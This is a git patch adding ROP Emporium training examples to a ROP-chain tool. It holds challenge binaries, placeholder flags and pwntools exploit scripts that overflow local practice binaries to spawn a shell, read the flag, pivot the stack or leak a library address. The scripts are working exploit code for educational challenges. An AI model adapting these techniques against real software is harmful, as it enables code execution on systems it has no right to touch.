From dc3737b616fd4947878b25a4e01ac3f4aff2f187 Mon Sep 17 00:00:00 2001 From: n0psledbyte Date: Thu, 6 Feb 2020 22:07:08 +0700 Subject: [PATCH] add rop emporium example --- examples/rop_emporium/badchars/badchars | Bin 0 -> 9416 bytes examples/rop_emporium/badchars/exploit.py | 17 ++++++++ examples/rop_emporium/badchars/flag.txt | 1 + examples/rop_emporium/callme/callme | Bin 0 -> 13360 bytes .../rop_emporium/callme/encrypted_flag.txt | 1 + examples/rop_emporium/callme/exploit.py | 22 +++++++++++ examples/rop_emporium/callme/key1.dat | 2 + examples/rop_emporium/callme/key2.dat | 1 + examples/rop_emporium/callme/libcallme.so | Bin 0 -> 8584 bytes examples/rop_emporium/fluff/exploit.py | 16 ++++++++ examples/rop_emporium/fluff/flag.txt | 1 + examples/rop_emporium/fluff/fluff | Bin 0 -> 9144 bytes examples/rop_emporium/pivot/exploit.py | 37 ++++++++++++++++++ examples/rop_emporium/pivot/flag.txt | 1 + examples/rop_emporium/pivot/libpivot.so | Bin 0 -> 8680 bytes examples/rop_emporium/pivot/pivot | Bin 0 -> 13384 bytes examples/rop_emporium/split/exploit.py | 16 ++++++++ examples/rop_emporium/split/flag.txt | 1 + examples/rop_emporium/split/split | Bin 0 -> 9128 bytes examples/rop_emporium/write4/exploit.py | 17 ++++++++ examples/rop_emporium/write4/flag.txt | 1 + examples/rop_emporium/write4/write4 | Bin 0 -> 9136 bytes 22 files changed, 134 insertions(+) create mode 100755 examples/rop_emporium/badchars/badchars create mode 100644 examples/rop_emporium/badchars/exploit.py create mode 100644 examples/rop_emporium/badchars/flag.txt create mode 100755 examples/rop_emporium/callme/callme create mode 100644 examples/rop_emporium/callme/encrypted_flag.txt create mode 100644 examples/rop_emporium/callme/exploit.py create mode 100644 examples/rop_emporium/callme/key1.dat create mode 100644 examples/rop_emporium/callme/key2.dat create mode 100755 examples/rop_emporium/callme/libcallme.so create mode 100644 examples/rop_emporium/fluff/exploit.py create mode 100644 examples/rop_emporium/fluff/flag.txt create mode 100755 examples/rop_emporium/fluff/fluff create mode 100644 examples/rop_emporium/pivot/exploit.py create mode 100644 examples/rop_emporium/pivot/flag.txt create mode 100755 examples/rop_emporium/pivot/libpivot.so create mode 100755 examples/rop_emporium/pivot/pivot create mode 100644 examples/rop_emporium/split/exploit.py create mode 100644 examples/rop_emporium/split/flag.txt create mode 100755 examples/rop_emporium/split/split create mode 100644 examples/rop_emporium/write4/exploit.py create mode 100644 examples/rop_emporium/write4/flag.txt create mode 100755 examples/rop_emporium/write4/write4 diff --git a/examples/rop_emporium/badchars/badchars b/examples/rop_emporium/badchars/badchars new file mode 100755 index 0000000000000000000000000000000000000000..6a1f2a7d915a4353ee8af6746d412d312cf63bc3 GIT binary patch literal 9416 zcmcIq3v64}89ug~N7L4ETMFre^{Rs@RMdHphCq4PNu1u4q%CQ}*dyFH_Dy2&YxZ?% zD#0=ZI=oWwGzMkTwrUTJZ5rw{33X^A=~AUd+C*RjF)?j{(avdLq&&I+qu&3Ydw%=g z8(Tut_E*0D`M>{l&bjBDd(KI}>g(#T+iZ-;&Te5SWhy)z(w~e~Udcs)wXo&P!#1-` ztQ?Rs_<6Vnxn3f^C_)pj6m|~a%iz~y*MSzhhZl%%(qYJ;6V(to<|~j#6m`DLsf)xJ zlQ@8WSXYCX~`uFdqloc{jwn1M_h=kE*u(cZmJ6h zw}nH|)PZdWTAH^tH@TBBcO!2%#z)(oyZd-1>PHDAtn+2?!!dyRUtIWh>yB@{@lwYR z*36dex$a!U(<@&>-75HD4BjrA#KvqcJ7VHhuxqY-c+*gy-*v;ghiRCA)=Xg#*O(zL zVf~8Xx0S#*mcVOE;9o3(Zz+L)1#k&|R%!;ISUqnpf%lZaSCqi(0AI~Eurb#Flwh9o zCu8e?Bc8F~?E*h$!5NH)0KWcarXC1sES}PmEU5)UQ5H{xqS_D}8dd>{sF9?qp(d8n zPzuCHS;QX>#{vkdi3CfICN(v}z-<3uYKSQchE|fAKcOiRKLi{~s4Bq2kyuo~3ftM$ z+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52>;={r(UqO=a&|L`g=Y79lzJ&Z_Php@uzcgMqIRMSUCe(^FI$dI3@Bq zgl2U9pug)|?XB|5;8Shzr*n4=1_iR(Tjkfm2CIm37>Ule(x>!42R=B|$e+&f^#3mC z|5u3Nn6D3wgQMVU%uj!(UBpHKS?fzO@pr(+=+9{XEfU0el){7jh%Z|F>6{T4{!~wj zKz<}&f&yaHe%e2e3CDUe6kM{%4yZiV-)cwxO%{8!MIw&pY|70Q;_)wWwXu>61#S^} l9GW{u{}ZDAi((#s29#JAYCo<2I6sT!KQ0V*T9nrO{{dwdP8$FK literal 0 HcmV?d00001 diff --git a/examples/rop_emporium/badchars/exploit.py b/examples/rop_emporium/badchars/exploit.py new file mode 100644 index 0000000..a42c6f9 --- /dev/null +++ b/examples/rop_emporium/badchars/exploit.py @@ -0,0 +1,17 @@ +from Exrop import Exrop +from pwn import * + +binname = "./badchars" +rop = Exrop(binname) +rop.find_gadgets(cache=True) +elf = ELF("./badchars", checksec=False) +system = elf.symbols['system'] +print("system @ {:08x}".format(system)) +chain = rop.func_call(system, ("head${IFS}?lag.txt", 0), elf.bss()) # hack to avoid badchar +#chain.dump() +buf = b"A"*40 +payload = buf + chain.payload_str() +p = process("./badchars") +p.recv(1024) +p.sendline(payload) +p.interactive() diff --git a/examples/rop_emporium/badchars/flag.txt b/examples/rop_emporium/badchars/flag.txt new file mode 100644 index 0000000..918aaf6 --- /dev/null +++ b/examples/rop_emporium/badchars/flag.txt @@ -0,0 +1 @@ +ROPE{a_placeholder_32byte_flag!} diff --git a/examples/rop_emporium/callme/callme b/examples/rop_emporium/callme/callme new file mode 100755 index 0000000000000000000000000000000000000000..cd67444746c26e6217cc9c946ef711338ea545e8 GIT binary patch literal 13360 zcmeHOYiu0V6~60@9p}Mj69_ntlZFtk)QB*i=$xewxg=gvL5 zv*TTaD)mRJJ<-g$=R1#k=ghq`bB{Oox3ujqak&IjiP$Gdnym0k$T|y=_@)#U)*#jh zzt|zFL>Z7$9Db=GZnc;%snE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i7vYtW zd5`k*?&&$U*?p5wNlXjn690l!xd-~-HyYJgZ+8m zQm%^VyniNJB4_@N0;9bv`}6*$ivA!6qVH289zWYL{~>g=7iO9FK^@9pBWI9v{1z$% zeYa9h*`N1I3FY6b47q>j^*^Be8rI`}00+PWeySjnVchnfcEg{=A=?P&b&z%VC`IFC6~--7=~CALqn6`sH{} zI{dlbQ%4IE#B~o#vhEePi9dsbuAjT%?=Qdd?h^Z4@m#-z;gR{2mlE zME1|@hqqfE&iTcE{~rU-Z}#W;cN)I-{&|1BwByVB=Qtlb{4@J- z&GH|zSmw-r%$K0C_s{!)A]! diff --git a/examples/rop_emporium/callme/exploit.py b/examples/rop_emporium/callme/exploit.py new file mode 100644 index 0000000..ec46633 --- /dev/null +++ b/examples/rop_emporium/callme/exploit.py @@ -0,0 +1,22 @@ +from pwn import * +from Exrop import Exrop + +binname = "./callme" +p = process(binname) +elf = ELF(binname) +callme_one = elf.symbols['callme_one'] +callme_two = elf.symbols['callme_two'] +callme_three = elf.symbols['callme_three'] +rop = Exrop(binname) +rop.find_gadgets(cache=True) +chain1 = rop.func_call(callme_one, (1,2,3)) +chain1.dump() +chain2 = rop.func_call(callme_two, (1,2,3)) +chain2.dump() +chain3 = rop.func_call(callme_three, (1,2,3)) +chain3.dump() +buf = b"A"*0x28 +rop = chain1.payload_str() + chain2.payload_str() + chain3.payload_str() +pay = buf + rop +p.sendlineafter("> ", pay) +p.interactive() diff --git a/examples/rop_emporium/callme/key1.dat b/examples/rop_emporium/callme/key1.dat new file mode 100644 index 0000000..1f221cf --- /dev/null +++ b/examples/rop_emporium/callme/key1.dat @@ -0,0 +1,2 @@ + +  \ No newline at end of file diff --git a/examples/rop_emporium/callme/key2.dat b/examples/rop_emporium/callme/key2.dat new file mode 100644 index 0000000..5551322 --- /dev/null +++ b/examples/rop_emporium/callme/key2.dat @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/examples/rop_emporium/callme/libcallme.so b/examples/rop_emporium/callme/libcallme.so new file m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;;C0`G30&)ZB{k6m#5%zxHn&*ws>2YKL>f!E)Dk3HY3neu&;+oQ2|moI^#{`36v zIiKnG-O8wY`~NkMJ>LhIUgfd(w*Os^J>MIcKIF0Yw*Mo@oA8u|iSGpjqImVaJmt|s zc-WrrA@%Rk{x`6t@nd_wuY}*D{SnyG+GBgZ*YN+TC&@Vqj~n-&*TG$ox!dRa&&w1P z%5sO4e%YSsE0DPDOZOzzz~+*rQ(-%%fArY%eQL9^XFYb~<%~M8XNY)ycNimjpX#`wHWtcT>3BGP V-oNPm^lSeZZFVTPd7OLO|2I0;x!wQ( literal 0 HcmV?d00001 diff --git a/examples/rop_emporium/fluff/exploit.py b/examples/rop_emporium/fluff/exploit.py new file mode 100644 index 0000000..30bd5f8 --- /dev/null +++ b/examples/rop_emporium/fluff/exploit.py @@ -0,0 +1,16 @@ +from Exrop import Exrop +from pwn import * + +binname = "fluff" +rop = Exrop(binname) +rop.find_gadgets(cache=True, add_opt="--depth 15") +elf = ELF(binname, checksec=False) +bss = elf.bss() +system = elf.symbols['system'] +chain = rop.func_call(system, ("/bin/sh",), elf.bss()) +chain.dump() +buf = b"A"*40 +buf += chain.payload_str() +p = process("./fluff") +p.sendlineafter("> ", buf) +p.interactive() diff --git a/examples/rop_emporium/fluff/flag.txt b/examples/rop_emporium/fluff/flag.txt new file mode 100644 index 0000000..918aaf6 --- /dev/null +++ b/examples/rop_emporium/fluff/flag.txt @@ -0,0 +1 @@ +ROPE{a_placeholder_32byte_flag!} diff --git a/examples/rop_emporium/fluff/fluff b/examples/rop_emporium/fluff/fluff new file mode 100755 index 0000000000000000000000000000000000000000..a239a90d662581d2a1f62542d932229f2d491bfe GIT binary patch literal 9144 zcmeHNYiu0V6~4RcS01dLK!QmE83huBNZ#14;~HqmtY29pJ28&UL)aOwy<>Y}AMVa< zVxyKC%*zT%BT=d8k5*K)YFf2YpHfO&lGKOZ|JOLRLCdE9*`ENq5iQ9$6B%qXv%ZcMTpI10=t@>yeXt&fakJ>EqwN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d6{sHoSz8Tb{Pxww2j z2hci9soEjAb0>dS6)g55vkDK}^LgQ%0yI_O66jEt?Xe@3=`OtK49fO=u9#5=Q*S?c z+wTBu=?uyCeE#TF73Fe@Woe7$u>J$U=}gKzpHs$^y{7EE@he!+zLHegp3gJKm3_Zb zwe0x4e zomTb}q?DKVcPggege>1)FVUs8t^(qC*@c(?j>n$&6`jid5pG!JfXiin&wA|n{Pv0} zi0>a*Uo|VU;z!D!i{X9K1!X^(({wW4_+g@_n?y>zu^6@Dxgz(S$we_(>ael@83I> zJ;%u&*pB&mWC-K>^ZvG98CJ8RqMC;fAb5)3tH<_r9(~fK#FWmdT(%Ub*G08(tY$@p qdsyj*=T5%;aTWgveVmYPz*CEd>(A>l4f8_f%f$||iyr6R^8W`%LQA>; literal 0 HcmV?d00001 diff --git a/examples/rop_emporium/pivot/exploit.py b/examples/rop_emporium/pivot/exploit.py new file mode 100644 index 0000000..aed1dee --- /dev/null +++ b/examples/rop_emporium/pivot/exploit.py @@ -0,0 +1,37 @@ +from Exrop import Exrop +from pwn import * + +context.terminal = "tmux splitw -h -f".split() +binname = "pivot" +p = process(binname) +rop = Exrop(binname) +elf = ELF(binname, checksec=False) +libpivot = ELF("./libpivot.so", checksec=False) +buf = b"A"*0x28 +ret = 0x00000000004007c9 # for padding + +rop.find_gadgets(cache=True) +puts = elf.symbols['puts'] +footholdgot = elf.got['foothold_function'] +foothold = elf.symbols['foothold_function'] +main = elf.symbols['main'] + +p.recvuntil(": ") +pivot_addr = int(p.recvuntil("\n", drop=True), 16) + +pivot_chain = rop.stack_pivot(pivot_addr, avoid_char=b"\x0a") +pivot_chain.dump() +chain2 = rop.func_call(puts, (footholdgot,)) +chain2.dump() +pay = buf + pivot_chain.payload_str() + +rop = p64(foothold) + chain2.payload_str() + p64(main) +p.sendlineafter("> ", rop) +p.sendlineafter("> ", pay) +p.recvuntil("libpivot.so") +leak = u64(p.recvuntil("\n", drop=True).ljust(8, b"\x00")) +libpivot.address = leak - libpivot.symbols['foothold_function'] +ret2win = libpivot.symbols['ret2win'] +print(hex(libpivot.address)) +p.sendlineafter("> ", buf + p64(ret) + p64(ret2win)) +p.interactive() diff --git a/examples/rop_emporium/pivot/flag.txt b/examples/rop_emporium/pivot/flag.txt new file mode 100644 index 0000000..918aaf6 --- /dev/null +++ b/examples/rop_emporium/pivot/flag.txt @@ -0,0 +1 @@ +ROPE{a_placeholder_32byte_flag!} diff --git a/examples/rop_emporium/pivot/libpivot.so b/examples/rop_emporium/pivot/libpivot.so new file mode 100755 index 0000000000000000000000000000000000000000..ea85a31688b222cc34d2af703849b05665e75d76 GIT binary patch literal 8680 zcmcgxeT-CB6~D8yz*6Y$7C~0P@Pdn_T3%-tDArPWf6IyGeCRJ=9?xr=R=|`xstiN;LId9(F znO%v0^lsjqdw=KSo_pVY_ug~%tKGdlHKCA_5>~e=YK_);NR$~*Ea3`BRJE%)`2D0> zqGe~5SQWKzU+qCcm9jKIeaxm>y>5b9UWI9Ujn|Aa6+LQ_UK8szvAodZJQSfk3{?vq zdVb4%lQx4#MJUNqx&4Bhpn77SZdOp&gOyOx`#kjY_?Z8{NFxjMaevdzi<0?Z%EQrP zTL>FrJR7%eSD#(Buj`Nh&b&YL&B;eq?HzSHf4t%z>f#zaSK%S`Ie7M{J#}czom;Ek zKH3~=BpwZQJ|22?G|dfosF05f@K8UC@O&K4VmwWFK7mJ;$dhk;`VVjX>8<)-AAY<3 zm3zLh?Ag~J`O1gCY@X=o{_~r!f{sR;))W0ZKmP!w=XHKAfWq9gC9LMEOXPf@EJNK2 zw58gO2_m1(vJXHtoaWOqh0%^rgC7N6%})C?@_oQp;4w=Pzyi$r=v^uxU$?s=BMSdOI zd5-PKS~$k?KQQEf!T4zdKh5|B1OE%-wT7RxP{^N88Tbc`cNq9p>}TA-momP`z?I_+ zXL4Dm;KuW=<0vPUO}WY$0#VMU{w+=-nNJR<3T`srzoj#s%O?Bd1L>s4tIlx-$Kqrl zo=)wC;O1RUA6w{5#|wpIK@H_{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cIN!ken$Ay#(S|D_csLYs0%a{h{I(cplf!h%6#r-JN|ymb{^F7 zmG9+yz^jdGy74}(?KG;#WaDQ0&uP4J9*AAd{tH^Z^1V=e9>T6_zV~y$DT5^WGu_0` zJ9t9K9+`OxdQqV&>tPWFW`Spx7U0$L7ahPGtJvSf@@D*hC*x-RVnE}S-yKCf)$$yjyUKLqql; z(h-|G`<&iQ+xn5{Ddlw>H{%RaW~Ts&M9vvb=LX_wC*kJu1t(q{Q-it8XgcX86ZTE5 z?XA^?bjHYu=kxJ#WI7OFsG)p3lXMcrOlBM^ftF4&m5KT>2l?33w_!`S)4jEevQgS& zsV53KXC$6YQ2MFsi(5Br+0+RMWP_dV7^}s)`T!wQB?dP3-qx|9*SW2yXIpo_)4!pk zw;N_>NNklSn~>z;TuwP2Y4?*qUarhww;0KyNJWmSm9s|CXfP?{<-y7^BSRc(KQ=oP}r!#qWa)g)gNCHNr<*9mW+0&5vmj)q*ZsM8LAbjvbZy=Nw zw2>85HomG1zLYB8^8W+T`Av6vYy-N;JyU2i<3ehs!j#VW_i<+zeYuYceS+oWK5twT z@EF*eq6@b1vJyj!ViM7pd$7RDuIfOjWD@a3q4LCiu5n~GX5-hq~Ae8C=#a$rSVZA zefpn?sXqpc{NnJ-k7FgCmG~4Qx=>%iQa~f9Z*d1gqd{TR>HjlSgx-gGQ2#F07bmiC1&Zna{hNM@{#xmnsptzu1m^c0 z6n%;lU+)J&)J0EVYRk7H7|~Jo{|IkPlowl#N5(JvAAO%Pc2rA+6IV|e#?Ai!3jtxY A761SM literal 0 HcmV?d00001 diff --git a/examples/rop_emporium/pivot/pivot b/examples/rop_emporium/pivot/pivot new file mode 100755 index 0000000000000000000000000000000000000000..5531957ba5a55d008e5130015e4ddea1c8ab3fbf GIT binary patch literal 13384 zcmeHOYiu0V6~4P0C(di*ggl+38Kp_<&}MN`$2B0rt{=%5IS(9%rYgyJ?cKE(_Tlc% z#&${}twV$r0v1Fl{ZW)YP(f9zv_)+IHF0W`fch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rzUzxrchbgP|n&WvYliqluD9v zSQSX*LZy*RY-=zi^R6f<%i&`nHH=3C<%|_f`m$29@;!ww-5WQ9ZQy3g;+4S+3T&w>-FfM?1_= zO)ws9M;nk>Cu_2T;f4qw9_u(B)%^MEzm@3s5?(R6_iK&Y4{0L5n7=P2h!fe`>9Y{% zn-0^Pq!zbdamgmlwfr8jv_fn^!S2uB6{ZTfh7A>W`qu-$f^R^s|G3*PEsraJ^h6~V z%Y7#+QEW$nzIoYy*zJcT@Vz3Ls8F1~o9Wtle#S2rNw?vQDLm)T-!rAELjJC{tS9&1 zJ}Bs$mh0#5p2g}zoqo3xar@bh`JK?wH!{ooeWWXYjhsQw_FJeB^m~^2l>PZTN@k(~ zZ^c2x^*gWs5Om~UOGcpQru!9_Oz^q@`BR@c{T~2E{i>Rq%SSy$g960s9hPL(#bx6C zIPCuX{Wh%pWloCCp-h#TA9MKgciw<%D7TkGIOXp;{P}mw31xVZJJwMz$NPc9pVxs7 z(Vzs)v{>#;eQl>FAkg)5HT-*RK>3f_jZt>C|7Q+={(a7Q^z{yZXZ;2gj7 z7*q>gRn#~eIqQEOIxh}-hKP9Gi}UK8_D=aF_{_t>{`~zrzLKI%zFw#Q>#(6FvVZP7 z^E2fA@BQC~4UJv)=XD|ezX$&R1|HvBKaaoT@U_>^-`(S@pa8MGB~8eTe*lHuKlgpE zSstD2s5tvE9|vyt=kJD2&2r#&D)&k4p><7)#n*pOYn7%wnq;EVV!5+|bFv4OQ~gdm z_OHrWS_QHtVm=>bu3IY9srw67VGbKA+#$+1Ja+B=CpAktspb(H4jXZBzw!J(6Ih}8 OTPrO8B@U&t{(k~uVnCb# literal 0 HcmV?d00001 diff --git a/examples/rop_emporium/split/exploit.py b/examples/rop_emporium/split/exploit.py new file mode 100644 index 0000000..ad6c292 --- /dev/null +++ b/examples/rop_emporium/split/exploit.py @@ -0,0 +1,16 @@ +from pwn import * +from Exrop import Exrop + +binname = "./split" +p = process(binname) +elf = ELF(binname) +catflag = next(elf.search(b"/bin/cat flag.txt")) +system = elf.symbols['system'] +rop = Exrop(binname) +rop.find_gadgets(cache=True) +chain = rop.func_call(system, (catflag, 0)) +chain.dump() +buf = b"A"*0x28 +pay = buf + chain.payload_str() +p.sendlineafter("> ", pay) +p.interactive() diff --git a/examples/rop_emporium/split/flag.txt b/examples/rop_emporium/split/flag.txt new file mode 100644 index 0000000..918aaf6 --- /dev/null +++ b/examples/rop_emporium/split/flag.txt @@ -0,0 +1 @@ +ROPE{a_placeholder_32byte_flag!} diff --git a/examples/rop_emporium/split/split b/examples/rop_emporium/split/split new file mode 100755 index 0000000000000000000000000000000000000000..f0873f553462f8f335f2c3f79c4eb14b0f2e54de GIT binary patch literal 9128 zcmeHNeP|rV6`#A)mu2U4a^gh(NWJ8vC#K?5R>07f>Y{J+ECok1SyGIr)iA}iLdX? zzIWPP-9ac6`bVC)d-HzpV`kpW&d$u~n_a!#exFY;`Nb}QQh${uA^Tg1#m!PAtX-@T zn%F9~h$=uT;iE|na=XNQnL;zKA-e$Z3i!19ZJ^z+$pZ5&HVie`#4SXQ^{tRbMVlY4 zwMFJaC=x(FY-=beMc^Z{!2B_4#{zNoLlONN$*+<8m|voXG3Wka-|#a?@do`GNGNN_ zM5p{-;b@E0|E?9oa?Khk0@q}Lc{#ra!4KQ{St&$@15{tRyj-LHF(*-MPbEj&TDPZS zO{ruiKh-qV-qzICs+w7KhwL}TN83Gnhh$BhM+GG8-!1ULIe_|OuWfv*{%e!3z0+(w zdG&=SfA`yWW|FAG6krV5FP|c2d?7z#G{oYb+mCHY3`Ilt{^KZ56VSS8Er{#gkd)fX z;J22+?<|AwDTCi$27efE1wLNd4M3@OZUektY!Wk}5$VG73-gQkya#U~e8GbY7_TuL zo;ER=w@hJLv1CR}=8_pJArj+pfYR}_8MjcA%}W-~<%BtHTJf|1#lg{hLKp_dF-$9( zvy5~ULKwz)I-4QH5PN!iA|1vKb%(kWTH<&7tw`7rpZtU85e1<9rX&olUrgAdSgsq9 zB^>)|!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pj)Jfy=H)F=2E*yf@s}(*afvjl9eR z2(F@yE}f$3odd$y)4MMc?ltyxckk~SGzP`UV)C8dD$mn^bGbHE7=%d$M zMn_X|x=YnG=dCDSzq%257wd+MI9^iF?Wt-7jptL2@q8-me=O6{v$ z=%(vl7j$OUn22U#&@H29A6UT!vH@ceqXF3u_bzY)<46zY801mYq?q!;n68pNRX=dh z7@+yqk&2q8oNSOw9#%{;Pe^Zy;hx$ZO{nH{+KP?>w{kY0;1XPT$8(cH&19{(8jkcd zSc{Si+0%HQs0Q?{|EDVh7T-5k_P=6amiM# zeY}3#S|RXv4W~cv+bs%s7aJ1y`ga0;9nM%>Kkx5P63|S3mBfqdBguP#uZ0i$zv0(F z5^x@nOeoahDiE>A{;<=O^bmaGnUnqbys$_IQSU%`^LGGz@yy8ne6DzuI?DBM``M29 zrBoL}ljBg6#Cysx)b#QG>X> z>CgL!e)5lSV#$H)W&a;|{P|q=ELF_+4Qx+oWl{Wu{J9$5CoPcwc+t`> zc>D7+k3at&&A(H3di=fhpYizfd9a@v-ipa_khlIfL5DxV)8kS+H}db+UVE>68GP#; z{(Qb{z@R{0d$0T#u)!vB{d^8pKBND8;EO}e{(N5L|104CAE4<_Y!AX!WZ2Ax z#1)SmfW~9{y>{&1>aj;#B<6Vjy_;LdJ0(|gY X#d+g(8K-%v`tc} ", buf) +p.interactive() diff --git a/examples/rop_emporium/write4/flag.txt b/examples/rop_emporium/write4/flag.txt new file mode 100644 index 0000000..918aaf6 --- /dev/null +++ b/examples/rop_emporium/write4/flag.txt @@ -0,0 +1 @@ +ROPE{a_placeholder_32byte_flag!} diff --git a/examples/rop_emporium/write4/write4 b/examples/rop_emporium/write4/write4 new file mode 100755 index 0000000000000000000000000000000000000000..a8f133fc7c4ca2ed6d957a5c08c70629a2e27836 GIT binary patch literal 9136 zcmeHNYiu0V6~4Rccf#5Z2^c4kX&{w}owYaJhr2r) zY@||CLxh!tT56?6l`5qIBucA_Rv=M+s!ILAwPwye-+A0~pL6eB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